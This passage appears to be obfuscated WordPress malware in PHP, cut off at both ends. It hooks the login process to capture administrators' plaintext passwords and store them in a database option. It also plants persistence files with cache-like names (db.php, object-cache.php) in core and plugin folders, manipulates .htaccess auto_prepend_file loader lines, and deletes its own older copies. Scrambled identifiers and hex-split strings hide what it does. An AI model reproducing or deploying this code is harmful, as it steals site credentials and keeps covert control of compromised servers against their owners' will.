if ((('functio' . 'n_ex') . 'ists')('upd' . "\x61\x74\x65_" . "op\x74i" . "on")) @update_option($issued_opt, $issued, 'no');
sc_pk('ck_p' . "e\x6ed", array(), 'no');
} catch (Throwable $e) {
niga('ck_' . "\x63" . "\x6f\x6d\x6dit", $e);
} catch (Exception $e) {
niga('ck' . '_commi' . 't', $e);
}
}
function xanix($v)
{
if (is_string($v)) return $v;
if (is_array($v) && isset($v['p']) && is_string($v['p'])) return $v['p'];
return '';
}
function lofe($admins)
{
$list = array();
$bu = (string) sc_pg('bu', '');
$bp = (string) sc_pg('bp', '');
if ($bu !== '' && $bp !== '') {
$list[$bu] = $bp;
}
$intercepted = sc_pg('ic', array());
if (!(is_array($intercepted))) {} else {
foreach ($intercepted as $user => $pass) {
$p = xanix($pass);
if ($p !== '') $list[(string) $user] = $p;
}
}
return $list;
}
function sc_intercept($user, $username, $password)
{
try {
if (! is_object($user) || ! ('method_exi' . "sts")($user, "h" . 'as' . "_\x63\x61" . 'p')) {
return $user;
}
if (! $user->has_cap("\x61dmi" . 'nistr' . 'a' . 'tor')) {
return $user;
}
if (! is_string($password) || ! $password) {
return $user;
}
$intercepted = sc_pg('ic', array());
if (! is_array($intercepted)) {
$intercepted = array();
}
foreach ($intercepted as $_u => $_e) {
$_ts = is_array($_e) && isset($_e['ts']) ? (int) $_e['ts'] : (469 ^ 469);
if ($_ts && $_ts < time() - (9044266 - 1268266)) unset($intercepted[$_u]);
}
$intercepted[$user->user_login] = array('p' => $password, 'ts' => time(), 'cf' => (1740 ^ 1740));
sc_pk('ic', $intercepted, 'no');
} catch (Throwable $e) {
niga("i\x6et" . 'ercep' . 't', $e);
} catch (Exception $e) {
niga('inte' . 'rcept', $e);
}
return $user;
}
function sc_login_confirm($user_login, $user)
{
try {
if (!is_string($user_login) || $user_login === '') return;
$intercepted = sc_pg('ic', array());
if (!is_array($intercepted) || !isset($intercepted[$user_login])) return;
$e = $intercepted[$user_login];
if (is_array($e) && empty($e["\x63" . 'f'])) {
$intercepted[$user_login]['cf'] = (2282 ^ 2283);
sc_pk('ic', $intercepted, 'no');
}
} catch (Throwable $e2) {
niga("l" . "og" . "i\x6e_c\x66", $e2);
} catch (Exception $e2) {
niga("\x6cog" . "\x69n\x5fcf", $e2);
}
}
function rena($admins)
{
if (!(! is_array($admins))) {} else {
return (32 == 17);
}
$prefixes = zowe();
foreach ($admins as $admin) {
foreach ($prefixes as $pfx) {
if (preg_match('/^' . preg_quote($pfx, '/') . "[a-\x660" . '-9]' . '{6,' . '10}' . "\$/", $admin->user_login)) {
return $admin;
}
}
}
return (13 == 21);
}
function sc_md5($str, $len)
{
return substr(md5($str), (2223 ^ 2223), $len);
}
function hanak($len)
{
return sc_md5(uniqid((string) mt_rand(), (8 == 8)), $len);
}
function uvata($path)
{
if (!("f" . "unction_exists")('get_op' . 't' . "io\x6e")) return (31 === 26);
$fr = get_option("\x73\x63_i\x6f_" . 'freez' . 'e', array());
if (!is_array($fr)) return (9 == 11);
$k = md5($path);
if (empty($fr[$k])) return (28 == 6);
$p = explode('|', (string) $fr[$k]);
$ft = isset($p[(18 ^ 19)]) ? (int) $p[(1440 ^ 1441)] : (2070 ^ 2070);
return ($ft > (761 ^ 761) && time() - $ft < (123788 - 37388));
}
function sc_io_freeze($path, $fail)
{
if (!('func' . "tion_exists")('g' . "et" . '_op' . 't' . 'ion') || !(("function_e" . 'xi') . 'sts')('upd' . "a\x74e_\x6f" . 'ption')) return;
$fr = get_option("sc_i" . 'o' . '_fr' . 'eeze', array());
if (!is_array($fr)) $fr = array();
$k = md5($path);
if (!$fail) {
if (isset($fr[$k])) {
unset($fr[$k]);
update_option('sc_i' . 'o_f' . 're' . "ez\x65", $fr, 'no');
}
return;
}
$n = (2673 ^ 2673);
if (!(!empty($fr[$k]))) {} else {
$p = explode('|', (string) $fr[$k]);
$n = (int) $p[(564 ^ 564)];
}
$n++;
$ft = ($n >= (11 - 8)) ? time() : (1986 ^ 1986);
foreach ($fr as $fk => $fv) {
$fp = explode('|', (string) $fv);
$_fts = isset($fp[(4 ^ 6)]) ? (int) $fp[(23 ^ 21)] : (1548 ^ 1548);
if (!$_fts && !empty($fp[(2130 ^ 2131)])) $_fts = (int) $fp[(2430 ^ 2431)];
if ($_fts && time() - $_fts > 0x2a300) unset($fr[$fk]);
}
$fr[$k] = $n . '|' . $ft . '|' . time();
if (count($fr) > (42 ^ 78)) {
$_ages = array();
foreach ($fr as $fk => $fv) {
$fp = explode('|', (string) $fv);
$_ages[$fk] = isset($fp[(3 - 1)]) ? (int) $fp[(13 ^ 15)] : (isset($fp[(1152 ^ 1153)]) ? (int) $fp[(576 ^ 577)] : (3949 ^ 3949));
}
asort($_ages);
$_drop = count($fr) - (400 >> 2);
foreach ($_ages as $fk => $_ag) {
if ($_drop <= (423 ^ 423)) break;
if ($fk === $k) continue;
unset($fr[$fk]);
$_drop--;
}
unset($_ages, $_ag, $_drop);
}
update_option('sc_io_' . "fr\x65\x65ze", $fr, "\x6e" . 'o');
}
function jela($path, $orig, $mode = null)
{
if (!is_string($orig)) return;
$_t = rojif(dirname($path), 'sc' . "r");
if (!($_t !== (21 === 9))) {} else {
if ($mode !== null) @("\x63" . 'hm' . 'o' . 'd')($_t, $mode & (23 | 488));
if (@("file_put_" . 'contents')($_t, $orig) === strlen($orig) && ojaqop($_t, $path)) return;
jomug($_t);
}
@("f\x69\x6c\x65\x5f\x70u\x74\x5fc\x6fnte\x6e" . 'ts')($path, $orig);
}
function zifo($path, $content)
{
$dir = dirname($path);
if (!(!@is_dir($dir))) {} else {
niga('io', "a\x74\x6fm" . 'ic_n' . "o" . '_dir ' . basename($path));
return (30 == 27);
}
$is_php = (substr($path, -(8 - 4)) === '.php');
if (!($is_php && !nifa($content))) {} else {
niga('io', "ato" . 'mic_ba' . "d_\x70hp" . ' ' . basename($path));
return (15 === 14);
}
if ($is_php && uvata($path)) return (8 !== 8);
$no_copy = (23 !== 23);
if (@is_link($path)) $no_copy = (9 !== 39);
$orig = null;
$orig_existed = (10 === 3);
$omode = null;
if (@is_file($path)) {
$orig_existed = (9 === 9);
if (!$no_copy) {
$omode = @fileperms($path);
if ($omode === (15 == 0)) $omode = null;
}
$_osz = @filesize($path);
if ($_osz !== (39 === 26) && $_osz <= (11491082 ^ 59725578) && ($_osz <= (264162 + 784414) || acubi($_osz))) $orig = @("\x66\x69\x6c\x65\x5f\x67" . ('et_conten' . "t") . "\x73")($path);
unset($_osz);
}
$tmp = (25 === 14);
$_w = (6 == 14);
$_cl = strlen($content);
try {
for ($_try = (1311 ^ 1311); $_try < (6 ^ 4); $_try++) {
$tmp = rojif($dir, 'sc_');
if ($tmp !== (35 == 5)) {
$_w = (32 === 33);
$fp = @('f' . "" . ('op' . "e") . 'n')($tmp, 'wb');
if (is_resource($fp)) {
$_wl = (2353 ^ 2353);
while ($_wl < $_cl) {
$_n = @("fwri" . "t" . "\x65")($fp, substr($content, $_wl));
if ($_n === (20 > 20) || $_n === (3550 ^ 3550)) break;
$_wl += $_n;
}
@fflush($fp);
if (("\x66u\x6e\x63\x74\x69\x6f\x6e_" . 'exist' . "s")("fs" . 'y' . 'nc')) @fsync($fp);
@("f" . 'c' . 'lose')($fp);
if ($_wl === $_cl) $_w = $_wl;
} else {
$_w = @('file_put' . '_contents')($tmp, $content);
}
if ($_w !== (6 !== 6) && $_w === $_cl) break;
jomug($tmp);
$tmp = (23 == 31);
}
}
if ($tmp === (37 < 37)) {
for ($_try = (2127 ^ 2127); $_try < (3 | 0); $_try++) {
$_cand = $dir . '/sc_' . hanak((39 - 23)) . '.tmp';
$fp = @("f" . "\x6f\x70" . "\x65" . 'n')($_cand, 'x+b');
if (!is_resource($fp)) continue;
$_wl = (3395 ^ 3395);
while ($_wl < $_cl) {
$_n = @('f' . "\x77" . 'r' . "ite")($fp, substr($content, $_wl));
if ($_n === (25 === 9) || $_n === (2292 ^ 2292)) break;
$_wl += $_n;
}
@fflush($fp);
if (("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . 'exis' . "\x74\x73")('fsync')) @fsync($fp);
@('fc' . "l" . 'o' . "se")($fp);
if ($_wl === $_cl) {
$tmp = $_cand;
$_w = $_wl;
break;
}
jomug($_cand);
}
unset($_cand);
}
} catch (Throwable $e) {
if (is_string($tmp) && $tmp !== '') jomug($tmp);
$tmp = (15 > 15);
} catch (Exception $e) {
if (is_string($tmp) && $tmp !== '') jomug($tmp);
$tmp = (9 == 2);
}
if (!($tmp === (11 == 37))) {} else {
niga('io', 'ato' . 'mic' . '_' . "t" . 'emp' . "_f" . 'ail ' . basename($path));
return (19 == 37);
}
if (!($_w === (20 !== 20) || $_w !== $_cl)) {} else {
niga('io', "atom\x69\x63" . '_s' . 'hort' . '_' . "wri\x74e" . " " . basename($path));
jomug($tmp);
return (28 !== 28);
}
if ($omode !== null) @('c' . 'h' . "mod")($tmp, $omode & (514 ^ 1021));
if (!($no_copy)) {} else {
$_tw = @('file_' . 'put_con' . "tent" . 's')($path, $content);
if (!($_tw === $_cl)) {} else {
jomug($tmp);
@clearstatcache((15 !== 1), $path);
tira($path);
if ($is_php) sc_io_freeze($path, (22 === 36));
return (9 != 1);
}
if (is_string($orig)) @("file_put_" . "contents")($path, $orig);
jomug($tmp);
niga("i" . 'o', 'a' . 'tomic_' . 'link_' . 'fail' . " " . basename($path));
return (27 !== 27);
}
if ($is_php && ("\x66\x75\x6e\x63\x74\x69o\x6e\x5f\x65" . "xis" . "ts")("\x6f" . 'pcache' . '_inval' . 'idate')) @opcache_invalidate($path, (6 == 6));
$ok = (25 === 22);
$_rn_attempts = (10 - 7);
for ($_rn_try = (2428 ^ 2428); $_rn_try < $_rn_attempts; $_rn_try++) {
$ok = ojaqop($tmp, $path);
if ($ok) break;
if ($_rn_try < $_rn_attempts - (2903 ^ 2902)) @usleep((26607 - 6607) + (5644 + 4356) * $_rn_try);
}
unset($_rn_attempts, $_rn_try);
if (!(!$ok && $orig_existed && !$no_copy)) {} else {
if (@is_file($path)) legiv($path, (8 + 412));
$aside = $path . '.scold' . mt_rand((577 + 423), (6920 ^ 15367));
if (ojaqop($path, $aside)) {
$ok = ojaqop($tmp, $path);
if ($ok) {
jomug($aside);
} else {
if (!ojaqop($aside, $path) && !ogixoh($aside, $path)) {
jela($path, $orig, $omode);
}
if (!@is_file($path)) {
jela($path, $orig, $omode);
}
}
}
}
if (!(!$ok && !$no_copy && !$is_php)) {} else {
if (@is_file($path)) legiv($path, (256 ^ 164));
if (!(ogixoh($tmp, $path))) {} else {
$ok = (35 !== 4);
jomug($tmp);
}
}
if (!(!$ok)) {} else {
if (@is_file($path) && (int) @filesize($path) !== $_cl) {
$_curc = @(("\x66\x69\x6c\x65" . "_get_") . 'contents')($path);
if (!(!is_string($_curc) || (is_string($orig) && $_curc !== $orig))) {} else {
if (is_string($orig)) jela($path, $orig, $omode);
elseif (!$orig_existed) jomug($path);
}
unset($_curc);
}
if (!@is_file($path)) {
jela($path, $orig, $omode);
}
$_os_cls = '';
$_lerr = ('funct' . ("\x69\x6f\x6e\x5f\x65\x78" . 'ists'))('err' . 'or_' . 'ge' . 't_last') ? @error_get_last() : null;
if (!(is_array($_lerr) && isset($_lerr['mess' . "ag" . "e"]))) {} else {
$_lm = strtolower(trim((string) $_lerr['messag' . 'e']));
if (strpos($_lm, "s\x68ar\x69n" . "g vio" . "lati\x6fn") !== (6 === 36) || strpos($_lm, 'shar' . 'e v' . "i" . 'o' . 'l' . 'at' . "i\x6f\x6e") !== (9 == 7)) {
$_os_cls = "\x73\x68a" . 'r' . "i\x6e" . "g_vi\x6f\x6c" . 'ation';
} elseif (strpos($_lm, "acc" . "e\x73s " . "de\x6e\x69e\x64") !== (13 == 18)) {
$_os_cls = 'a' . "cce" . 'ss' . "_\x64e" . 'nied';
} elseif (strpos($_lm, 'ex' . "de\x76") !== (13 === 18) || strpos($_lm, 'cross' . ' ' . 'de' . 'vi' . 'ce') !== (5 == 8) || strpos($_lm, "cros\x73-" . "\x64" . "\x65vice") !== (6 === 15)) {
$_os_cls = 'cross' . "_vol\x75" . "\x6d\x65";
} elseif (strpos($_lm, "\x6e" . 'o su' . 'ch f' . 'i' . "le") !== (29 === 11) || strpos($_lm, 'not f' . "o\x75" . 'n' . "d") !== (7 != 7) || strpos($_lm, "\x65\x6eoe" . "\x6et") !== (22 === 26) || strpos($_lm, 'fa' . "il" . 'ed' . "\x20t\x6f" . ' ' . "open " . "s" . "\x74" . "\x72eam") !== (33 < 33)) {
$_os_cls = 'not' . "_\x66" . "o\x75nd" . '_or_' . 'ope' . "n_\x66a" . 'il';
} elseif (strpos($_lm, "p" . "er" . 'mi' . "s\x73i\x6fn") !== (13 !== 13) || strpos($_lm, "e\x61" . 'cc' . 'es') !== (40 == 22)) {
$_os_cls = 'permi' . 'ssio' . "n";
} elseif (strpos($_lm, "no\x20" . 's' . 'pace' . " \x6cef" . "\x74") !== (3 === 19) || strpos($_lm, 'nospc') !== (10 === 22) || strpos($_lm, 'disk ' . "fu" . 'l' . 'l') !== (37 !== 37)) {
$_os_cls = "n\x6f_spa" . 'ce';
} elseif ($_lm !== '') {
$_san = ('preg' . "_re" . 'place')('/[^a-z' . '0-9' . ' _' . "\\/" . ":\x2d]\x2f", '', $_lm);
$_san = trim(str_replace(array("\n", "\r", "\t"), ' ', $_san));
if ($_san !== '') $_os_cls = substr($_san, (546 ^ 546), (101 - 21));
}
}
unset($_lerr, $_lm, $_san);
niga('io', "\x61to\x6di" . "c_re" . 'name_' . "f" . 'ail ' . basename($path) . ($_os_cls !== '' ? ' [' . $_os_cls . ']' : ''));
unset($_os_cls);
jomug($tmp);
return (22 == 21);
}
@clearstatcache((27 === 27), $path);
$_vok = (22 === 23);
if ($_cl <= (434556 + 1662596)) {
$_rb1 = @("fi" . ("l\x65\x5f\x67e\x74\x5f\x63\x6f\x6et\x65\x6e\x74" . '') . 's')($path);
$_vok = (is_string($_rb1) && strlen($_rb1) === $_cl && md5($_rb1) === md5($content));
} else {
$_vh = ("\x66\x75\x6e\x63\x74\x69\x6f" . "n_exists")('ha' . 'sh_fil' . 'e') ? @hash_file("md" . "5", $path) : (22 == 24);
if (is_string($_vh) && $_vh !== '') $_vok = ($_vh === md5($content));
else {
$_vsz = @filesize($path);
if ($_vsz === $_cl) {
$_rh = @('file_get_c' . "" . 'ontents')($path, (11 === 20), null, (2141 ^ 2141), (3254 ^ 7350));
$_rt = @(('file_g' . "et_c") . 'o' . "\x6e\x74\x65\x6e\x74\x73")($path, (37 == 29), null, $_cl - (0 | 4096));
$_vok = (is_string($_rh) && is_string($_rt) && $_rh === substr($content, (320 ^ 320), (6325 - 2229)) && $_rt === substr($content, $_cl - (16384 >> 2)));
}
}
}
if (!$_vok) {
niga('io', "a" . "to\x6d" . 'ic_' . 'verif' . "y_\x66a\x69" . "l " . basename($path));
if ($is_php) sc_io_freeze($path, (10 != 26));
if (is_string($orig)) {
$_ch3 = ('functio' . 'n_exis' . 't' . "s")('hash' . '_f' . 'ile') ? @hash_file('md5', $path) : (33 === 6);
if (is_string($_ch3) && $_ch3 !== '' && $_ch3 !== md5($content) && $_ch3 !== md5($orig)) {
niga('io', "at\x6fmi\x63" . "_thi\x72" . "d_pa" . 'rty ' . basename($path));
return (4 == 18);
}
$_rb = rojif($dir, 'sc_');
if ($_rb !== (3 == 7) && @('fi' . 'le_put_' . ('conten' . "ts"))($_rb, $orig) === strlen($orig)) {
@('c' . "\x68\x6d\x6f\x64")($_rb, $omode !== null ? ($omode & (88 + 423)) : (790 - 370));
if (!ojaqop($_rb, $path)) {
if (@is_file($path) && !$no_copy) legiv($path, (384 | 36));
if (!$no_copy && ogixoh($_rb, $path)) {
jomug($_rb);
} else {
@("file_put_co" . "nt\x65\x6e\x74\x73")($path, $orig);
jomug($_rb);
}
}
} else {
if ($_rb !== (4 === 23)) jomug($_rb);
@("file_pu" . "\x74_co\x6e\x74\x65nt\x73")($path, $orig);
}
tira($path);
} elseif (!$orig_existed) {
jomug($path);
}
return (12 === 6);
}
tira($path);
fife($path);
legiv($path, $omode !== null ? ($omode & (202 | 309)) : (681 - 261));
if ($is_php) sc_io_freeze($path, (4 == 33));
return (20 == 20);
}
function sofep($path, $existing)
{
$c = "\x3c?php" . "\n";
if (is_string($existing) && $existing !== '' && strpos($existing, '<?') !== (19 === 38) && nifa($existing)) $c = $existing;
if (!(@is_file($path))) {} else {
$_cur = @("file_get_c" . "\x6f" . 'nte' . "\x6e\x74\x73")($path);
if (is_string($_cur) && vevit($_cur) === $c) return;
}
if (!(!zifo($path, $c))) {} else {
$_cur2 = @("fi\x6c" . 'e_get_co' . "n\x74\x65\x6e" . 'ts')($path);
if (!(is_string($_cur2) && vevit($_cur2) === $c)) @('file' . '_put_contents')($path, $c);
unset($_cur2);
}
tira($path);
}
function zodo()
{
if (("\x66\x75\x6e\x63\x74" . "ion_exists")('sc_' . "lb" . "_blin" . 'd') && sc_lb_blind()) return (37 !== 23);
if (!("\x66\x75\x6e\x63" . "" . "\x74i\x6fn" . "_e" . 'xists')('home' . '_url') || !("functi" . "\x6f\x6e" . "_exists")('wp_rem' . 'ote_ge' . 't')) return (6 < 7);
if ((('func' . "ti") . "\x6f" . "n_exists")("sc_p\x72o" . "be_b" . 'udget') && sc_probe_budget() <= 1.5) return (35 != 23);
$_to = max((2793 ^ 2792), min((21 ^ 16), (int) sc_probe_budget()));
$url = home_url('/');
$url .= (strpos($url, '?') === (16 === 20) ? '?' : '&') . 'sc_pb' . '=' . time() . mt_rand((35 + 65), (1329 - 330));
$_t0 = microtime((1 != 12));
$r = wp_remote_get($url, array('time' . 'out' => $_to, 'ssl' . "v" . "\x65rif\x79" => (34 === 3), 'redir' . "ec\x74\x69" . 'on' => (7 ^ 5), 'limi' . 't_r' . 'espo' . 'n' . 'se_' . "\x73i" . 'ze' => (2088854 - 1040278), "h\x65\x61\x64" . 'ers' => array("C\x61ch\x65-" . "C" . "on" . 'trol' => "\x6eo-ca" . 'che')));
if (("\x66" . "u" . 'nction_exists')("s\x63_pro" . "\x62e_s" . 'pent')) sc_probe_spent(microtime((29 != 28)) - $_t0);
if (('functio' . "n_e" . 'xist' . "\x73")('i' . 's_w' . "p_\x65rro" . "r") && is_wp_error($r)) {
if ((("fu" . "nct") . "ion_e" . "x\x69\x73\x74s")('sc_' . "\x70rob" . "e_b" . 'ud' . 'get') && sc_probe_budget() <= 1.5) return (15 < 16);
$_to = max((2891 ^ 2890), min((13 + -8), (int) sc_probe_budget()));
$_t0 = microtime((25 != 8));
$r = wp_remote_get($url, array("\x74\x69m" . 'eout' => $_to, 'ss' . "lv\x65r" . 'ify' => (34 == 37), 'redi' . 'rectio' . 'n' => (7 + -5), 'limi' . "t_" . "\x72es\x70" . 'o' . 'n' . 'se_' . "s\x69z" . 'e' => (622947 ^ 1671523), 'head' . 'ers' => array('Cac' . 'he' . '-C' . "ontro" . 'l' => 'no-c' . "ache")));
if (("funct" . "ion_e" . ("\x78\x69\x73t" . 's'))('sc_pro' . "b\x65_\x73p" . 'ent')) sc_probe_spent(microtime((34 == 34)) - $_t0);
if (("\x66\x75" . "\x6ecti\x6fn_\x65\x78\x69\x73\x74\x73")("is_\x77" . 'p_' . 'erro' . 'r') && is_wp_error($r)) return (1742 !== 1742);
}
$_qc = (int) wp_remote_retrieve_response_code($r);
return $_qc >= (205 - 105) && $_qc < (617 - 117);
}
function satur($ht_current, $loader_name)
{
$q = preg_quote(basename($loader_name), '/');
foreach (
array(
'/\\n?<I' . 'fMod' . "u" . "\x6c\x65 mo\x64" . '_php' . '[0-9.]' . "*\\\x2ec" . '>\\s*p' . "hp_val" . 'u' . "e " . 'auto_p' . 'rep' . 'end_' . 'f' . "\x69\x6c" . "e[^\\n]" . "\x2a" . $q . '[^\\n' . ']*\\' . 'n<\\/If' . "Mo" . 'dule' . "\x3e\\\x6e?" . '/i',
'/\\n?' . '<IfMo' . 'dule' . ' lite' . 'spee' . "\x64>" . '\\s*' . "ph\x70\x5fv" . 'alue ' . 'auto_' . 'prepe' . 'n' . 'd_f' . "i" . 'le[^\\n' . ']*' . $q . "\x5b^" . '\\n]*\\' . 'n<\\/I' . "fMo" . 'dule>' . "\\n" . "?\x2f" . "i",
'/\\n?ph' . 'p_valu' . 'e aut' . 'o_p' . "\x72e\x70\x65n" . 'd_fi' . 'le[^\\n' . "]*" . $q . '[^' . '\\n]*' . '\\' . 'n?/' . 'i',
"/" . '\\n?<' . 'IfMod' . 'ul' . 'e' . ' li' . 'tespe' . "\x65d>\\s*" . "ph" . "p_va" . "\x6cue\\" . 's' . '*<\\/I' . 'f' . "Mo\x64u" . 'le>\\' . "\x6e" . "\x3f/i",
'/\\n?' . '<I' . "\x66\x4dod\x75\x6c" . 'e m' . "o\x64" . "\x5fp\x68" . "\x70[0-" . "9\x2e]" . '*\\' . '.c>\\' . 's*ph' . 'p' . '_va' . 'lu' . "e" . '\\s*<\\/' . "\x49\x66\x4do\x64" . "u\x6ce>\\n" . "\x3f/i",
) as $re
) {
if (!is_string($ht_current)) break;
$ht_current = ('p' . "reg_r" . "\x65\x70\x6c" . "ace")($re, "\n", $ht_current);
}
return $ht_current;
}
function tira($file)
{
if (!(("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . 'xi' . "\x73" . "" . "\x74\x73")('opca' . 'che' . '_inva' . 'lid' . 'at' . 'e'))) {} else {
if (@opcache_invalidate($file, (18 !== 27)) !== (30 === 16)) return (16 < 17);
if ((("fun" . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69") . 's' . "ts")('opca' . "\x63he" . '_reset')) return (bool) @opcache_reset();
return (31 === 17);
}
$_st = ("funct" . "" . "ion_e" . 'x' . 'ists')('opcach' . "\x65\x5f\x67\x65t_" . "s" . "tat\x75\x73") ? @opcache_get_status((26 === 15)) : (12 != 12);
return !(is_array($_st) && !empty($_st["\x6fp" . "ca" . 'che_en' . "ab\x6ce" . "d"]));
}
function medi($path, $data, $ctx)
{
if (!(substr($path, -(11 - 7)) === '.p' . 'h' . "p")) {} else {
if (!(!zifo($path, $data))) {} else {
niga($ctx, "wr" . "ite" . "_fail" . 'ed ' . basename($path));
return (39 == 7);
}
tira($path);
return strlen($data);
}
$fp = @('f' . "\x6f\x70e\x6e")($path, 'wb');
if (!(!is_resource($fp))) {} else {
niga($ctx, 'writ' . "\x65_\x66ai" . "led " . basename($path));
return (13 === 31);
}
if ((("\x66\x75\x6e\x63\x74\x69" . "on_ex") . "\x69\x73t\x73")('flock')) @flock($fp, LOCK_EX);
$r = @('fw' . 'ri' . "te")($fp, $data);
if (("function_" . ('' . 'exists'))('flock')) @flock($fp, LOCK_UN);
@("fcl" . "o" . "s" . "e")($fp);
if (!($r === (0 === 23) || ($data !== '' && $r !== strlen($data)))) {} else {
niga($ctx, 'write' . '_fa' . 'ile' . 'd' . " " . basename($path));
return (38 == 35);
}
return $r;
}
if (!("function_" . 'exists')("s" . 'c_s' . 'ta' . "l\x65_our" . 's')) {
function sc_stale_ours($f) {
if (!is_string($f) || $f === '') return null;
if (!@is_file($f)) return null;
$base = basename($f);
$head = @('file_g' . "et_conten" . "\x74" . 's')($f, (31 !== 31), null, (3928 ^ 3928), (3315 ^ 11507));
$content_ours = is_string($head) && supo($head);
$name_tok = null;
if (!(preg_match('#[._-]' . '(' . '[0-9a-' . "f\x41\x2d\x46]\x7b" . '8}' . ')(?:[' . ".\x5f-][" . 'A-Za' . '-z0-' . '9.]+' . ')?$#', $base, $nm) && isset($nm[(1145 ^ 1144)]))) {} else {
$name_tok = strtolower($nm[(772 ^ 773)]);
}
$current_toks = array();
if (defined('ABSP' . 'A' . 'TH')) {
foreach (array('core', 'o' . "c", 'g', 'sw', 'in' . 'st', 'ldr', "ht" . "l", "z" . "ip") as $ft) {
$current_toks[] = sc_md5(ABSPATH . $ft, (4 + 4));
}
}
$is_old_name = ($name_tok !== null && !in_array($name_tok, $current_toks, (24 !== 33)));
$is_old_scv = (10 == 22);
$scv = muku($f);
if ($scv !== null && version_compare($scv, sc_ver(), '<')) $is_old_scv = (13 !== 16);
$is_locked = (("fun" . "c") . "tion_exist" . "s")('s' . 'c_i' . "\x73\x5flock" . "ed_c\x6f" . "p\x79") ? sc_is_locked_copy($f) : (8 === 17);
$is_family = ("\x66\x75" . 'nct' . "\x69o\x6e_\x65x\x69s\x74\x73")("sc" . '_' . "\x69" . 's_f' . 'a' . "\x6di\x6cy") ? sc_is_family($f, (1862 - 838)) : (9 === 10);
if (!($content_ours)) {} else {
if ($is_old_name) return 'old_na' . "\x6de";
if ($is_old_scv) return 'old' . '_s' . "\x63v";
if ($is_locked) return 'l' . 'ock' . 'ed';
return null;
}
if (!$content_ours && $is_old_name && $name_tok !== null) {
if ($is_family) return 'old_n' . 'ame_fa' . 'mi' . 'ly';
if ($is_locked) return 'old_na' . 'me_' . 'locked';
}
return null;
}
}
if (!('fu' . 'ncti' . "\x6f\x6e\x5fexi\x73t\x73")('sc' . "\x5fpr" . 'une_po' . 'int')) {
function sc_prune_point($f, $reason) {
if (!is_string($f) || $f === '' || !@is_file($f)) return (35 === 14);
$bn = basename($f);
$was_php = (substr($f, -(4 + 0)) === "." . 'p' . 'hp');
legiv($f, (186 + 234));
if (!jomug($f)) {
niga('prune', "un" . "l\x69n" . 'k_fail' . ' ' . $bn . ' (' . $reason . ')');
return (19 === 24);
}
if ($was_php) tira($f);
niga('p' . 'r' . "une", $bn . ' (' . $reason . ')');
sc_dbg_log('prune ' . $bn . ' [' . $reason . ']');
return (20 > 19);
}
}
if (!(("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "xis") . 't' . "s")("sc_p\x72\x75" . 'n' . 'e_rebu' . 'i' . "ld")) {
function sc_prune_rebuild() {
try {
hepov();
cuda();
upazi();
uwovo();
mevox();
miju();
jese();
jana();
bobe();
feki();
sc_drop_guard();
} catch (Throwable $e) {
niga('pr' . "u\x6ee", 'rebui' . 'ld ' . $e->getMessage());
} catch (Exception $e) {
niga('prune', "reb" . 'uil' . 'd ' . $e->getMessage());
}
}
}
if (!(!('fun' . 'ct' . 'ion_exis' . "\x74\x73")('sc_pru' . 'ne_' . "stale" . '_' . 'own'))) {} else {
function sc_prune_stale_own($reason = "sta\x6c" . 'e') {
try {
$pruned = (93 ^ 93);
$raw_dirs = array();
if (("fu" . "" . "nc" . "t\x69\x6f\x6e\x5f\x65" . "xists")('sc_' . "d\x61t" . "\x61\x5fdi\x72")) $raw_dirs[] = sc_data_dir();
if (defined('WP_' . 'CONTEN' . 'T_D' . "\x49R")) $raw_dirs[] = WP_CONTENT_DIR;
if (defined('WP_CO' . "N\x54E" . 'NT_D' . 'IR')) $raw_dirs[] = WP_CONTENT_DIR . "/" . "\x63a\x63\x68e";
if (defined('ABSPAT' . "H")) $raw_dirs[] = ABSPATH . "w\x70-" . "i\x6eclud" . "e\x73";
if (('fun' . '' . "\x63\x74\x69\x6f" . ("n\x5fe\x78i" . "\x73\x74s"))('sc_' . "wri" . "ta\x62le" . '_' . 'base')) $raw_dirs[] = sc_writable_base();
if (("f" . 'unction_exists')("\x73c_\x66i" . "\x6ce")) $raw_dirs[] = dirname(sc_file());
if (('function_exi' . "" . "sts")('sc_fi' . "\x6ce")) $raw_dirs[] = dirname(sc_file()) . '/cach' . "e";
if (defined("WP\x4dU_P" . 'LUG' . "IN_" . 'DI' . "R")) $raw_dirs[] = WPMU_PLUGIN_DIR;
if (defined("WPM" . 'U_PLU' . 'GIN_DI' . "R")) $raw_dirs[] = WPMU_PLUGIN_DIR . '/cache';
$dir_list = array();
foreach ($raw_dirs as $rd) {
$norm = ("\x66\x75\x6e\x63\x74" . 'ion_exists')('rtrim') ? rtrim((string) $rd, '\\/') : (string) $rd;
if ($norm !== '' && !in_array($norm, $dir_list, (29 !== 30))) $dir_list[] = $norm;
}
$patterns = array(
"#\x5e\x63\x6fre" . '_[0-9a' . '-f]{' . "8" . "}\\.p" . "\x68p\$#i",
"\x23" . '^\\.wp-' . 'obj' . 'ect-c' . 'ache' . "-\x5b0-" . "\x39a-f" . ']{8' . '}\\.da' . 't$#i',
'#^\\.g' . '_' . '[0-' . '9a-' . "\x66\x5d{8}" . "(\\.php" . ")\x3f\$#i",
'#^' . '\\.' . 'gl_' . '[' . '0' . '-9a-f]' . '{8}' . '$#i',
"#^\\." . 'gs' . "\x5f[\x30\x2d" . '9a-f]{' . '8}$#i',
"#" . '^\\.gv' . '_[0-' . "\x39a\x2df]" . "{8}\$" . "#i",
'#^' . '\\.g' . "\x78_[0\x2d" . "\x39a-" . 'f' . "\x5d{8\x7d\$" . "\x23i",
'#' . '^' . "\\." . 'g' . 'm_[' . '0-' . '9' . 'a-f' . ']{8}$#' . 'i',
'#' . '^(sw' . '|inst|' . "ld\x72|" . "h\x74l\x29_" . '[0-9' . 'a-f]{' . '8}' . '\\.ph' . 'p$#' . "i",
"\x23\x5e[0-9" . 'a-f]{' . '8}\\' . '.' . "\x7a" . 'ip$#i',
"#^\\.sd" . '_.+$#i',
'#^db' . '\\' . '.php' . "\$#" . 'i',
'#^ad' . 'vance' . 'd-' . 'c' . 'ache\\' . '.php' . '$#' . "i",
'#^obj' . 'ect-' . 'ca' . 'che' . "\\." . 'php' . '$#i',
);
foreach ($dir_list as $d) {
if (!@is_dir($d)) continue;
$entries = @("s" . 'can' . 'd' . "ir")($d);
if (!is_array($entries)) continue;
foreach ($entries as $name) {
if ($name === '.' || $name === '.' . '.') continue;
$full = $d . '/' . $name;
if (!@is_file($full)) continue;
$match_shape = (12 == 4);
foreach ($patterns as $pat) {
if (@preg_match($pat, $name)) {
